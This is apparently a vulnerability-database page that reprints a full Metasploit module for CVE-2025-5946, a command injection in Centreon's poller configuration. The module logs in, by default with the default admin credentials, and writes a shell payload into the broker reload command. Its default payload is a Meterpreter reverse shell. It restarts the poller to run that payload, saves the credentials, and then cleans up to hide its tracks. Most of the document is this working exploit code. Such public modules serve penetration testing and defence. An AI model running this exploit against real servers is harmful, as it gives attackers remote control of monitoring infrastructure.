| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-5946 | 5 Nov 202515:39 | – | circl | |
| Centreon 安全漏洞 | 14 Oct 202500:00 | – | cnnvd | |
| Centreon Command Injection Vulnerability (CNVD-2025-24650) | 17 Oct 202500:00 | – | cnvd | |
| CVE-2025-5946 | 14 Oct 202514:29 | – | cve | |
| CVE-2025-5946 RCE via the poller reload feature available only to user with high privilege | 14 Oct 202514:29 | – | cvelist | |
| EUVD-2025-34208 | 14 Oct 202514:29 | – | euvd | |
| Centreon authenticated command injection leading to RCE via broker engine "reload" parameter | 5 Nov 202518:58 | – | metasploit | |
| CVE-2025-5946 | 14 Oct 202515:16 | – | nvd | |
| CVE-2025-5946 RCE via the poller reload feature available only to user with high privilege | 14 Oct 202514:29 | – | osv | |
| PT-2025-41936 | 14 Oct 202500:00 | – | ptsecurity |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
'Description' => %q{
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
This module exploits an command injection vulnerability using the `broker engine reload` setting
on the poller configuration page of the Centreon web application. Injecting a malcious payload
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
You need have admin access at the Centreon Web application in order to execute this RCE.
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
`24.10.13`, `24.04.18` and `23.10.28`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-5946'],
['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-09-24',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
])
end
# login at the Centreon web application
# return true if login successful else false
def centreon_login(name, pwd)
# login with admin credentials
# first try login logic in newer versions
post_data = {
login: name.to_s,
password: pwd.to_s
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
'data' => post_data.to_s
})
return true if res&.code == 200 && res.body.include?('redirect_uri')
# try again using login logic for older versions
# get centreon_token
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
if res&.code == 200 && res.body.include?('centreon_token')
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
else
vprint_status('No centreon_token found!')
return false
end
# login with admin credentials and centreon_token
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'useralias' => name.to_s,
'password' => pwd.to_s,
'submitLogin' => 'Connect',
'centreon_token' => centreon_token.to_s
}
})
return true if res&.code == 302
else
vprint_warning('Unable to process the centreon_token.')
end
false
end
# CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
def execute_payload(cmd, _opts = {})
@clean_payload = true
payload = ";#{cmd}"
vprint_status("payload=#{payload}")
# attach payload at the centreon broker engine "reload parameter
fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)
# trigger execution by restarting the poller
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'keep_cookies' => true,
'vars_post' => {
'poller' => 1,
'mode' => 1
}
})
end
# attach payload at the centreon broker engine "reload" parameter and commit into the sql database
def drop_rce_payload(payload)
# get the poller configuration and centreon_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901,
'o' => 'c',
'server_id' => 1
}
})
# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
if res&.code == 200 && res.body.include?('centreon_token')
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
else
vprint_status('No centreon_token found!')
return false
end
# update poller "centreon broker engine reload" setting with payload
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901
},
'vars_post' => {
'name' => 'Central',
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => 1,
'is_default[is_default]' => 1,
'gorgone_communication_type[gorgone_communication_type]' => 1,
'gorgone_port' => 5556,
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => "service cbd reload#{payload}",
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => nil,
'centreonconnector_path' => '/usr/lib64/centreon-connector',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]' => 1,
'submitC' => 'Save',
'id' => 1,
'o' => 'c',
'centreon_token' => centreon_token.to_s
}
})
if res&.code == 200 && res.body.include?('ajaxOption table')
vprint_good('Poller setting "broker_reload_command" updated with payload.')
return true
end
vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
else
vprint_warning('Unable to process the centreon_token.')
end
return false
end
# try to remove the payload from the poller settings to cover our tracks
def cleanup
super
# check if payload should be cleaned
if @clean_payload
vprint_status('Cleaning up the mess...')
if drop_rce_payload(nil)
print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
else
print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
end
end
end
# get the Centreon version
# return version if successful else nil
def get_centreon_version
# get version information use Web API v2.0
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
'keep_cookies' => true
})
# for older versions try to scrape the version from the login web page
unless res&.code == 200 && res.body.include?('web')
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
return nil unless res&.code == 200
build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
return nil if build.nil?
return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
end
res_json = res.get_json_document
res_json['web']['version'] unless res_json.blank?
end
def check
version = get_centreon_version
return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?
case version.scan(/^\d+\.\d+/)[0]
when '24.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
when '24.04'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
when '23.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
else
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
end
CheckCode::Safe("Centreon version #{version}")
end
def exploit
# check if we can login at the Centreon Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
print_status('Succesfully authenticated at the Centreon Web application.')
# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: username, private: password)
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation